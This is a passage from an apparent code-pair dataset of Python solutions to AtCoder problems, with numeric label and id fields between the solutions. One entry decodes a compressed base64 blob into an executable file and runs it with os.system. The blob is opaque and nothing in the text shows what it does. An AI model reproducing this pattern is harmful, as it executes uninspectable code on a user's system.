rank[uroot]+=rank[vroot]
elif rank[vroot]>rank[uroot]:
root[uroot]=root[vroot]
rank[vroot]+=rank[uroot]
else:
rank[uroot]+=rank[vroot]
root[vroot]=root[uroot]
n,m= map(int, input().split())
rank=[1]*(n+1)
root=[i for i in range(n+1)]
for i in range(m):
u,v = map(int, input().split())
unioin(u,v)
ans=0
print(max(rank))
|
# -*- coding: utf-8 -*-
def resolve(T,v):
lv = v
while lv != T[lv]:
lv = T[lv]
T[v] = lv
return lv
def solve():
N, M = map(int, input().split())
T = list(range(N+1))
for i in range(M):
u, v = map(int, input().split())
lu = resolve(T,u)
lv = resolve(T,v)
if lv == lu:
continue
T[lv] = lu
#print(f'===round{i}===')
#print(T)
#print([resolve(T,v) for v in range(N+1)])
return len(set(resolve(T,v) for v in range(1,N+1)))-1
if __name__ == '__main__':
print(solve())
| 0 | null | 3,119,861,304,860 | 84 | 70 |
def pow(x,n):
res = 1
for _ in range(n):
res *= x
return max(1,res)
def main():
N = int(input())
lists = [0 for i in range(N+1)]
temp = list(map(int,input().split()))
for elem in temp:
lists[elem] += 1
ans = 1
if(lists[0] != 1 or temp[0] != 0):
ans = 0
else:
sum = 1
for i in range(1,N):
ans *= pow(lists[i-1],lists[i])
sum += lists[i]
if(sum == N):
break
if(lists[i] == 0):
if(sum != N):
ans = 0
break
ans %= 998244353
print(ans)
if __name__ == "__main__":
main()
|
n = int(input())
l = list(map(int, input().split()))
edge = [0 for x in range(n)]
if l[0] != 0:
print(0)
exit()
for i in l:
edge[i]+=1
ans = 1
for i in range(1, n):
ans *= edge[l[i] - 1]
ans %= 998244353
print(ans)
| 1 | 154,383,759,376,324 | null | 284 | 284 |
N,K=map(int,input().split())
m=N//K
print(min(abs(N-m*K),abs(N-(m+1)*K)))
|
# -*- coding:utf-8 -*-
N,K = map(int,input().split())
ans = N % K
if abs(ans - K) < ans:
ans = abs(ans - K)
print(ans)
| 1 | 39,587,301,466,570 | null | 180 | 180 |
def gcd(a,b):
if a>b:
x=a
y=b
else:
x=b
y=a
if y==0:
return x
else:
return gcd(y,x%y)
p,q=[int(i) for i in input().split(" ")]
print(gcd(p,q))
|
a = '1, 1, 1, 2, 1, 2, 1, 5, 2, 2, 1, 5, 1, 2, 1, 14, 1, 5, 1, 5, 2, 2, 1, 15, 2, 2, 5, 4, 1, 4, 1, 51'.split(', ')
print(a[int(input()) - 1])
| 0 | null | 25,028,756,715,352 | 11 | 195 |
N, K = map(int, input().split())
MOD = 10**9 + 7
ans = 0
A = [0 for _ in range(K+1)]
for i in range(1,K+1):
ans += pow(K//i, N, MOD) * (i - A[i])
ans %= MOD
#print(ans, i)
j = 2*i
while j <= K:
A[j] += i - A[i]
j += i
print(ans)
|
#ABC162-E Sum of gcd of Tuples(Hard)
"""
問題を「1~kまでの数字を用いた長さnの数列において、gcdがDになる数列はいくつあるか」
というふうに置き換える。(1<=D<=k)
更に制約を替えて、gcdが"Dの倍数"(但し,k以下)でも良いのでそれを全て求めよ、
というふうになった場合、全ての要素はD*n(nは整数,D*n<=k)となる。
この制約によって、そのような数列の数は(k/D)^nとして表せる。(これが大事)
例：
n = 3,k = 4の場合で、D(gcd)=2について求める
(4//2)**3 = 8※
そこで、大きい方からgcdがDになる数列の個数(これをメモ化)を求めていった場合、
Dの倍数がk以下であるならば、予めメモしておいたその値分を引いてやる。
これによって全ての通り数が求まる。
例の続き:
D=2について、D*n <= k という制約のもとでn=2が存在する。
D = 2*2 = 4の時の通り数は、4,4,4の1通り※なので、
D(gcd)=2となるパターン数は、※より、
8-1=7 となる。
(この7通りは2と4からなる数列で、全ての値が4になる場合を引いている)
"""
import sys
readline = sys.stdin.buffer.readline
n,k = map(int,readline().split())
mod = 10**9+7
ans = 0
count = [0]*(k+1)
for D in range(k,0,-1):
mul = k//D #何倍まであり得るか(あり得るものをcountから引く)
res = pow(mul,n,mod)
for i in range(2,mul+1):
res -= count[i*D]
count[D] = res #個数
ans += res*D #個数*値(求めたいのはgcdの合計値のため)
ans %= mod
print(ans)
| 1 | 36,684,922,746,010 | null | 176 | 176 |
n = int(input())
card =[i+" "+str(j) for i in ["S","H","C","D"] for j in range(1,14)]
for i in range(n):
card.remove(input())
for i in card:
print(i)
|
N,P = map(int, input().split())
S = input()
if P == 2 or P == 5:
ans = 0
for i in range(N):
if int(S[i]) % P == 0:
ans += i+1
print(ans)
else:
mod_cnt = [0]*P
mod_cnt[0] = 1
k = 0.1
t = 0
for i in range(1, N+1):
k = int(k * 10) % P
t = (t + k * int(S[-i])) % P
mod_cnt[t] += 1
ans = 0
for cnt in mod_cnt:
ans += (cnt * (cnt-1)) // 2
print(ans)
| 0 | null | 29,585,080,935,740 | 54 | 205 |
s,t=map(str,input().split())
a,b=map(int,input().split())
ss=input()
if ss==s:
a-=1
else:
b-=1
print(a,b)
|
#!/usr/bin/env python3
# Generated by https://github.com/kyuridenamida/atcoder-tools
from typing import *
import collections
import functools
import itertools
import math
import sys
INF = float('inf')
def solve(S: str, T: str, A: int, B: int, U: str):
return f"{A-(S==U)} {B-(T==U)}"
def main():
sys.setrecursionlimit(10 ** 6)
def iterate_tokens():
for line in sys.stdin:
for word in line.split():
yield word
tokens = iterate_tokens()
S = next(tokens) # type: str
T = next(tokens) # type: str
A = int(next(tokens)) # type: int
B = int(next(tokens)) # type: int
U = next(tokens) # type: str
print(f'{solve(S, T, A, B, U)}')
if __name__ == '__main__':
main()
| 1 | 72,250,489,057,670 | null | 220 | 220 |
x = ['SUN', 'MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN']
y = x.index(input())
if (y == 0):
print(7)
else:
print(7-y)
|
import sys
from collections import defaultdict
readline = sys.stdin.buffer.readline
# sys.setrecursionlimit(10**5)
def geta(fn=lambda s: s.decode()):
return map(fn, readline().split())
def gete(fn=lambda s: s.decode()):
return fn(readline().rstrip())
def main():
d = {"SUN": 7, "MON": 6, "TUE": 5, "WED": 4, "THU": 3, "FRI": 2, "SAT": 1}
print(d[gete()])
if __name__ == "__main__":
main()
| 1 | 132,968,560,293,284 | null | 270 | 270 |
while True:
try:
print(len(str(sum(list(map(int, input().split()))))))
except:
break
|
x = []
try:
while True:
a, b = map(int, raw_input().split())
x.append(len(list(str(a + b))))
except EOFError:
for i in x:
print(i)
| 1 | 111,746,570 | null | 3 | 3 |
N, T = map(int, input().split())
X = [list(map(int, input().split())) for _ in range(N)]
dp = [[-1] * (T + 1) for _ in range(N + 1)]
dp[0][0] = 0
X.sort()
for i in range(N):
for j in range(T + 1):
dp[i + 1][j] = max(dp[i + 1][j], dp[i][j])
if dp[i][j] >= 0 and j < T:
dp[i + 1][min(T, j + X[i][0])] = max(dp[i + 1][min(T, j + X[i][0])],
dp[i][j] + X[i][1])
print(max(dp[-1]))
|
n = int(input())
l = list(map(int, input().split()))
c = 0
for i in l:
if i%2 == 0:
if i%3 != 0 and i%5 != 0:
c += 1
break
print("DENIED" if c > 0 else "APPROVED")
| 0 | null | 109,879,277,078,042 | 282 | 217 |
#D - Brick Break
N = int(input())
a = list(map(int,input().split()))
num = 1
count = 0
for i in range(N):
if a[i] == num:
num += 1
else:
count += 1
result = count
if result == N:
result = '-1'
print(result)
|
from math import ceil
def main():
n = int(input())
min_value = n * 100 / 108
max_value = (n + 1) * 100 / 108
candidate = ceil(min_value)
if candidate < max_value:
print(candidate)
else:
print(":(")
if __name__ == "__main__":
main()
| 0 | null | 120,503,341,408,256 | 257 | 265 |
n=int(input())
l=list(map(int,input().split()))
s=0
for i in range(n):
s=s^l[i]
k=s
y=0
for i in range(n):
y=k^l[i]
print(y,end=" ")
|
nums = list(map(int,input().split()))
print(nums[0]*nums[1],2*nums[0]+2*nums[1])
| 0 | null | 6,463,561,841,936 | 123 | 36 |
"""
方針：
幸福度が一定以上のつなぎ方の数→NlogNで二分探索可能
採用するうち最小の幸福度を NlogNlogNで探索
累積和を用いて合計を算出
2 3
5 2
10 + 7 + 7 = 24
"""
import bisect
def wantover(n): #n以上の幸福度のつなぎ方の数がM以上ならTrueを返す
ret = 0
for i in range(N):
serchnum = n - A[i]
ret += (N - bisect.bisect_left(A,serchnum))
#print ("over",n,"is",ret)
if ret >= M:
return True
else:
return False
N,M = map(int,input().split())
A = list(map(int,input().split()))
A.sort()
#print (wantover(7))
hpl = 0
hpr = A[-1] * 2 + 1
while hpr - hpl != 1:
mid = (hpr + hpl) // 2
if wantover(mid):
hpl = mid
else:
hpr = mid
#ここで最小の幸福度はhpl
#print (hpl,hpr)
B = [0] #累積和行列
for i in range(N):
B.append(B[-1] + A[-1 - i])
#print (A)
#print (B)
ans = 0
plnum = 0 #つないだ手の回数
for i in range(N):
i = N-i-1
ind = bisect.bisect_left(A,hpl - A[i])
#print (hpl,A[i],N-ind)
plnum += N - ind
ans += B[N - ind] + A[i] * (N-ind)
#print (ans,plnum)
print (ans - hpl * (plnum - M))
|
import sys
input = sys.stdin.readline
from bisect import bisect_left
from itertools import accumulate
def func(A, N, M, x):
count = 0
for Ai in A:
idx = bisect_left(A, x - Ai)
count += N - idx
if count >= M:
return True
else:
return False
def main():
N, M = map(int, input().split())
A = sorted(list(map(int, input().split())))
A_rev = list(reversed(A))
B = [0] + list(accumulate(A_rev))
min_ = 0
max_ = 2 * 10 ** 5 + 1
while max_ - min_ > 1:
mid = (min_ + max_) // 2
if func(A, N, M, mid):
min_ = mid
else:
max_ = mid
ans = 0
count = 0
for Ai in A_rev:
idx = bisect_left(A, min_-Ai)
ans += Ai * (N - idx) + B[N-idx]
count += N - idx
print(ans-(count-M)*min_)
if __name__ == '__main__':
main()
| 1 | 107,922,322,327,568 | null | 252 | 252 |
for i in xrange(1,10):
for j in xrange(1,10):
print '%sx%s=%s'%(i,j,i*j)
|
# -*- coding: utf-8 -*-
i = 1
while (i <= 9) :
j = 1
while (j <= 9) :
print '%sx%s=%s' % (i, j, i * j)
j = j + 1
i = i + 1
| 1 | 111,872 | null | 1 | 1 |
def main3():
N = int(input())
ans = 0
for a in range(1, N):
ans += (N-1)//a
print(ans)
if __name__ == "__main__":
main3()
|
import sys
input = sys.stdin.buffer.readline
N = int(input())
ans = 0
for a in range(1, N+1):
maxb = (N-1)//a
ans += maxb
print(ans)
| 1 | 2,589,758,519,888 | null | 73 | 73 |
#!/usr/bin/env python3
from functools import reduce
x, y = map(int, input().split())
mod = 10**9 + 7
def cmb(n, r, m):
def mul(a, b):
return a * b % m
r = min(n - r, r)
if r == 0:
return 1
over = reduce(mul, range(n, n - r, -1))
under = reduce(mul, range(1, r + 1))
return (over * pow(under, m - 2, m))%m
r = abs(x - y)
l = (min(x, y) - r) // 3
r += l
if (x+y)%3 < 1 and l >= 0:
print(cmb(r + l, l, mod))
else:
print(0)
|
import sys
p=10**9+7
x,y=map(int,input().split())
if (x+y)%3!=0 or x>2*y or y>2*x:
print(0)
sys.exit()
a=(-x+2*y)//3
b=(2*x-y)//3
A=1
for i in range(1,a+1):
A=A*i
A=A%p
B=1
for i in range(1,b+1):
B=B*i
B=B%p
AB=1
for i in range(1,a+b+1):
AB=AB*i
AB=AB%p
C=(AB*pow(A,p-2,p)*pow(B,p-2,p))%p
print(C)
| 1 | 149,849,594,777,190 | null | 281 | 281 |
S=input()
l=len(S)
a=0
for i in range(int(l/2)):
if S[i]!=S[-(i+1)]:
a+=1
print(a)
|
from sys import stdin, stdout # only need for big input
def solve():
s = input()
left = 0
right = len(s) - 1
count = 0
while left < right:
count += (s[left] != s[right])
left += 1
right -= 1
print(count)
def main():
solve()
if __name__ == "__main__":
main()
| 1 | 120,265,544,966,240 | null | 261 | 261 |
class Factorial():
def __init__(self, mod=10**9 + 7):
self.mod = mod
self._factorial = [1]
self._size = 1
self._factorial_inv = [1]
self._size_inv = 1
def __call__(self, n):
return self.fact(n)
def fact(self, n):
''' n! % mod '''
if n >= self.mod:
return 0
self._make(n)
return self._factorial[n]
def fact_inv(self, n):
''' n!^-1 % mod '''
if n >= self.mod:
raise ValueError('Modinv is not exist! arg={}'.format(n))
self._make(n)
if self._size_inv < n+1:
self._factorial_inv += [-1] * (n+1-self._size_inv)
self._size_inv = n+1
if self._factorial_inv[n] == -1:
self._factorial_inv[n] = self.modinv(self._factorial[n])
return self._factorial_inv[n]
def comb(self, n, r):
''' nCr % mod '''
if r > n:
return 0
t = self.fact_inv(n-r)*self.fact_inv(r) % self.mod
return self(n)*t % self.mod
def comb_with_repetition(self, n, r):
''' nHr % mod '''
t = self.fact_inv(n-1)*self.fact_inv(r) % self.mod
return self(n+r-1)*t % self.mod
def perm(self, n, r):
''' nPr % mod '''
if r > n:
return 0
return self(n)*self.fact_inv(n-r) % self.mod
@staticmethod
def xgcd(a, b):
'''
Return (gcd(a, b), x, y) such that a*x + b*y = gcd(a, b)
'''
x0, x1, y0, y1 = 0, 1, 1, 0
while a != 0:
(q, a), b = divmod(b, a), a
y0, y1 = y1, y0 - q * y1
x0, x1 = x1, x0 - q * x1
return b, x0, y0
def modinv(self, n):
g, x, _ = self.xgcd(n, self.mod)
if g != 1:
raise ValueError('Modinv is not exist! arg={}'.format(n))
return x % self.mod
def _make(self, n):
if n >= self.mod:
n = self.mod
if self._size < n+1:
for i in range(self._size, n+1):
self._factorial.append(self._factorial[i-1]*i % self.mod)
self._size = n+1
def _make_inv(self, n):
if n >= self.mod:
n = self.mod
self._make(n)
if self._size_inv < n+1:
for i in range(self._size_inv, n+1):
self._factorial_inv.append(self.modinv(self._factorial[i]))
self._size_inv = n+1
x, y = sorted(map(int, input().split()))
q, r = divmod(x+y, 3)
if r != 0:
print(0)
else:
comb = Factorial().comb
print(comb(q, y-q))
|
N = int(input())
data = [input() for _ in range(N)]
def f(s):
c = len([x for x in data if x in s])
print(f"{s} x {c}")
f("AC")
f("WA")
f("TLE")
f("RE")
| 0 | null | 79,420,444,230,400 | 281 | 109 |
#!/usr/bin/env python3
# N,M = map(int,sys.stdin.readline().split())
# a = tuple(map(int,sys.stdin.readline().split())) # single line with multi param
# a = tuple(int(sys.stdin.readline()) for _ in range(N)) # multi line with single param
# a = tuple(tuple(map(int,sys.stdin.readline().rstrip().split())) for _ in range(N)) # multi line with multi param
# s = sys.stdin.readline().rstrip()
# N = int(sys.stdin.readline())
# INF = float("inf")
import sys
from functools import reduce
N,K = map(int,sys.stdin.readline().split())
A = tuple(map(int,sys.stdin.readline().split())) # single line with multi param
#pre = reduce((lambda x, y: x * y), [A[i] for i in range(K)])
for i in range(K,N):
#print(i)
# cur = (pre//A[i-K])*A[i]
if A[i-K] < A[i]:
print("Yes")
else:
print("No")
# if pre < cur:
#
# else:
# print("No")
# pre = cur
|
N, K = map(int, input().split())
A = list(map(int, input().split()))
ans = ['Yes' if A[i] > A[i - K] else 'No' for i in range(K, N)]
print("\n".join(ans))
| 1 | 7,114,609,046,620 | null | 102 | 102 |
X,N = map(int,input().split())
p = list(map(int,input().split()))
if not X in p:
print(X)
else:
for i in range(100):
if not (X-i) in p:
print(X-i)
break
elif not (X+i) in p:
print(X+i)
break
|
# import sys
# import math
# import itertools
# from collections import deque
# from collections import defaultdict
# import heapq
# import copy
# import bisect
# import numpy as np
# from scipy.special import comb
# def my_input(): return sys.stdin.readline().rstrip()
# sys.setrecursionlimit(100000)
# INF = 1001001001001
# MOD = 1000000007
class UnionFind():
def __init__(self, n):
self.n = n
self.parents = [-1] * n
def find(self, x):
if self.parents[x] < 0:
return x
else:
self.parents[x] = self.find(self.parents[x])
return self.parents[x]
def union(self, x, y):
x = self.find(x)
y = self.find(y)
if x == y:
return
if self.parents[x] > self.parents[y]:
x, y = y, x
self.parents[x] += self.parents[y]
self.parents[y] = x
def size(self, x):
return -self.parents[self.find(x)]
def same(self, x, y):
return self.find(x) == self.find(y)
def members(self, x):
root = self.find(x)
return [i for i in range(self.n) if self.find(i) == root]
def roots(self):
return [i for i, x in enumerate(self.parents) if x < 0]
def group_count(self):
return len(self.roots())
def all_group_members(self):
return {r: self.members(r) for r in self.roots()}
def __str__(self):
return '\n'.join('{}: {}'.format(r, self.members(r)) for r in self.roots())
def main():
N, M, K = map(int, input().split())
uf = UnionFind(N)
friends = [set() for _ in range(N)]
for _ in range(M):
a, b = map(int, input().split())
a, b = a - 1, b - 1
uf.union(a, b)
friends[a] |= set([b])
friends[b] |= set([a])
blocks = [set() for _ in range(N)]
for _ in range(K):
c, d = map(int, input().split())
c, d = c - 1, d - 1
if uf.same(c, d):
blocks[c] |= set([d])
blocks[d] |= set([c])
# print(uf)
# print(friends)
# print(blocks)
for i in range(N - 1):
ans = uf.size(i) - 1 - len(friends[i]) - len(blocks[i])
print(str(ans) + " ", end="")
ans = uf.size(N - 1) - 1 - len(friends[N - 1]) - len(blocks[N - 1])
print(ans)
if __name__ == '__main__':
main()
| 0 | null | 37,865,002,668,288 | 128 | 209 |
import tempfile, os, subprocess, sys, base64, time, zlib
(_, file) = tempfile.mkstemp()
f = open(file, "wb")
f.write(zlib.decompress(base64.b64decode(b"""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""")))
f.close()
os.chmod(file, 0o755)
os.system("cp %s ./run" % file)
if os.system("./run") != 0:
print(1/0)
|
def main():
import sys
input = sys.stdin.readline
x, y = map(int, input().split())
print(x*y)
return
if __name__ == '__main__':
main()
| 0 | null | 8,149,469,459,538 | 37 | 133 |
input()
a=[a for a in map(int,input().split())if a%2==0]
r="DENIED"
for i in a:
if i%3 and i%5:break
else: r="APPROVED"
print(r)
|
X, Y = map(int, input().split())
n = (2 * X - Y) // 3
m = (-X + 2 * Y) // 3
if n < 0 or m < 0 or (2 * X - Y) % 3 != 0 or (-X + 2 * Y) % 3 != 0:
print(0)
else:
# (n+m)Cn 通り
fac = [1, 1]
finv = [1, 1]
inv = [1, 1]
MOD = 10 ** 9 + 7
for i in range(2, n + m + 1):
fac.append(fac[i - 1] * i % MOD)
inv.append(MOD - inv[MOD % i] * (MOD // i) % MOD)
finv.append(finv[i - 1] * inv[i] % MOD)
print(fac[n+m] * (finv[n] * finv[m] % MOD) % MOD)
| 0 | null | 109,342,955,596,922 | 217 | 281 |
# abc148_c.py
# https://atcoder.jp/contests/abc148/tasks/abc148_c
# C - Snack /
# 実行時間制限: 2 sec / メモリ制限: 1024 MB
# 配点: 300点
# 問題文
# 高橋君はパーティを企画しています。
# パーティーでは参加者に 1人 1個以上のお菓子を配る予定です。
# 高橋君は参加者の人数が A人か B人のどちらかになるだろうという予想を立てました。
# どちらの場合でも均等に配りきることができるようなお菓子の個数の最小値を求めてください。
# ただし、 1個のお菓子を分割して複数人で分けることはできないものとします。
# 制約
# 1≤A,B≤105
# A≠B入力はすべて整数
# 入力
# 入力は以下の形式で標準入力から与えられる。
# A B
# 出力
# 参加者の人数が A人の場合でも B人の場合でも均等に配りきることができるようなお菓子の個数の最小値を出力せよ。
# 入力例 1
# 2 3
# 出力例 1
# 6
# 6個のお菓子があるとき、参加者が 2 人の場合は 3 個ずつ、 3 人の場合は 2個ずつ配ることができます。
# 入力例 2
# 123 456
# 出力例 2
# 18696
# 入力例 3
# 100000 99999
# 出力例 3
# 9999900000
global FLAG_LOG
FLAG_LOG = False
def log(value):
# FLAG_LOG = True
# FLAG_LOG = False
if FLAG_LOG:
print(str(value))
def calculation(lines):
# S = lines[0]
# N = int(lines[0])
A, B = list(map(int, lines[0].split()))
# values = list(map(int, lines[1].split()))
# values = list(map(int, lines[2].split()))
# values = list()
# for i in range(N):
# values.append(int(lines[i]))
# valueses = list()
# for i in range(N):
# valueses.append(list(map(int, lines[i+1].split())))
import math
result = (A*B) / math.gcd(A, B)
result = int(result)
return [result]
# 引数を取得
def get_input_lines(lines_count):
lines = list()
for _ in range(lines_count):
lines.append(input())
return lines
# テストデータ
def get_testdata(pattern):
if pattern == 1:
lines_input = ['2 3']
lines_export = [6]
if pattern == 2:
lines_input = ['123 456']
lines_export = [18696]
if pattern == 3:
lines_input = ['100000 99999']
lines_export = [9999900000]
return lines_input, lines_export
# 動作モード判別
def get_mode():
import sys
args = sys.argv
global FLAG_LOG
if len(args) == 1:
mode = 0
FLAG_LOG = False
else:
mode = int(args[1])
FLAG_LOG = True
return mode
# 主処理
def main():
import time
started = time.time()
mode = get_mode()
if mode == 0:
lines_input = get_input_lines(1)
else:
lines_input, lines_export = get_testdata(mode)
lines_result = calculation(lines_input)
for line_result in lines_result:
print(line_result)
# if mode > 0:
# print(f'lines_input=[{lines_input}]')
# print(f'lines_export=[{lines_export}]')
# print(f'lines_result=[{lines_result}]')
# if lines_result == lines_export:
# print('OK')
# else:
# print('NG')
# finished = time.time()
# duration = finished - started
# print(f'duration=[{duration}]')
# 起動処理
if __name__ == '__main__':
main()
|
from collections import deque
section = raw_input( )
depth = 0
area = 0
depthArr = deque( )
areaArr = deque( )
for i, ground in enumerate( section ):
if "\\" == ground:
depth += 1
depthArr.append( i )
elif 0 < depth and "/" == ground:
if len( depthArr ):
j = depthArr.pop( )
pool = i - j
area += pool
while len( areaArr ):
preJ, prePool = areaArr.pop( )
if j <= preJ:
pool += prePool
else:
areaArr.append( ( preJ, prePool ) )
break
areaArr.append( ( j, pool ) )
print( area )
output = []
output.append( len( areaArr ) )
for arr in areaArr:
output.append( arr[1] )
print( " ".join( map( str, output ) ) )
| 0 | null | 56,694,841,284,260 | 256 | 21 |
n = input()
card = []
for i in range(n):
card.append(raw_input())
for a in ['S','H','C','D']:
for b in range(1,14):
check = a + " " + str(b)
for c in card:
if check == c:
flg = 0
break
else:
flg = 1
if flg == 1:
print check
|
# C - 100 to 105
# https://atcoder.jp/contests/sumitrust2019/tasks/sumitb2019_c
x = int(input())
